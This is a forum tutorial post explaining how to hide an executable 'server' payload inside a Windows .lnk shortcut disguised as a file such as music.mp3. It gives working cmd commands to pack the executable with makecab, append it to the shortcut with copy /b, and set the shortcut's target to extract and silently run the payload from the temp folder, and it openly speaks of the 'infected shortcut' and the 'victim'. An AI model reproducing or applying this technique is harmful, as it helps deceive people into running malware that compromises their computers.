Thread: [\[TUT\] Bind your Server with a shortcut file \(.lnk\), no external programs needed](#)

jabbathehutt1 - January 28, 2016, 7:40 am

Hey, since this is my first post, I hope you like it

In this tutorial I'm going to show you a way to bind and run your server with a .lnk (shortcut) file without any downloads necessary.

With this method, you got the advantage to rename your file every way you want since the .lnk extension is not shown.

So if you name your file music.mp3, only "music.mp3" is shown to the user.

Full credits goes to me, leave a thank you below if you liked it.

Well let's get started:

1. Create a shortcut of any file you want and customize it in the properties window (Change the icon, the description...)

2. Open cmd. Type in: `makecab "path/to/your/server.exe" path/to/your/destination.cab`

3. So far so good. Now for the binding part type in cmd: `copy /b path/to/your/shortcut.lnk + path/to/your/server.cab path/to/your/destination.lnk`

4. Good. Now you have your infected shortcut.

5. Finally you have to delete the "Open In" field and change the target field in the properties:
`%ComSpec% /c copy "infectedshortcut.lnk" %tmp%/server.cab & expand "%tmp%/server.cab" %tmp%/server.exe & "%tmp%/server.exe"`

6. Additionally you can also paste the real file instead of the shortcut so your victim can not recognize the shortcut later on.. This can also be done via cmd easily, if you are interested in this, leave a comment and I will add this.

IMPORTANT: Do not change the name of your exe file in the process, this will destroy the file.

Sorry that I do not include any photos, if you have questions, you can ask me....
